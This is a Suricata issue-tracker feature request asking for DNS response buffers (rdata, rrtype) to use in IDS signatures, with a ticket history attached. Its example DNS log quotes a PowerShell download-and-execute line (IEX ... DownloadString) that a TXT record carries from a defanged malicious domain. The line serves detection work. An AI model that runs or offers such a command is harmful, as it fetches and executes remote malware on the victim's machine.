**Suricata - Feature #2448**

**Add additional buffers for DNS Responses**

02/16/2018 11:59 AM - Jack Mott

<table>
<thead>
<tr>
<th>Status:</th>
<th>New</th>
</tr>
</thead>
<tbody>
<tr>
<td>Priority:</td>
<td>Normal</td>
</tr>
<tr>
<td>Assignee:</td>
<td>OISF Dev</td>
</tr>
<tr>
<td>Category:</td>
<td></td>
</tr>
<tr>
<td>Target version:</td>
<td>7.0beta1</td>
</tr>
<tr>
<td>Effort:</td>
<td>Beginner, Protocol</td>
</tr>
</tbody>
</table>

**Description**

Hi,

It would be nice to be able to include additional buffers for the DNS protocol responses to help write more efficient and effective signatures.

I think buffers for sections like rdata and rrtype should be included to cover things like data in TXT Records, but it could be expanded to cover the other sections of the response.

```json
{
    "timestamp":"2018-02-14T19:12:58.760866-0700",
    "flow_id":345727363089610,
    "pcap_cnt":4,
    "event_type":"dns",
    "src_ip":"8.8.8.8",
    "src_port":53,
    "dest_ip":"192.168.0.105",
    "dest_port":49153,
    "proto":"UDP",
    "dns":{
        "type":"answer",
        "id":2,
        "rcode":"NOERROR",
        "rrname":"shinobotps1\[.\]com",
        "rrtype":"TXT",
        "ttl":3600,
        "rdata":"powershell IEX (New-Object Net.WebClient).DownloadString('hxxps://shinobotps1[.]com\download_get.php');"
    }
}
```

Thanks!

**Related issues:**

Related to Feature #2198: Extend the DNS parser to accept dns_response keywor... New

**History**

#1 - 02/16/2018 03:26 PM - Jason Ish
- Related to Feature #2198: Extend the DNS parser to accept dns_response keyword in signatures added

#2 - 02/16/2018 03:45 PM - Andreas Herz
- Assignee set to OISF Dev
- Target version set to TBD

#3 - 09/26/2019 03:24 PM - Victor Julien
- Target version changed from TBD to 6.0.0beta1
#4 - 09/26/2019 03:25 PM - Victor Julien
- Label Beginner added

#5 - 01/30/2020 01:49 PM - Victor Julien
- Label Protocol added

#6 - 05/25/2020 03:28 PM - Victor Julien
- Target version changed from 6.0.0beta1 to 7.0beta1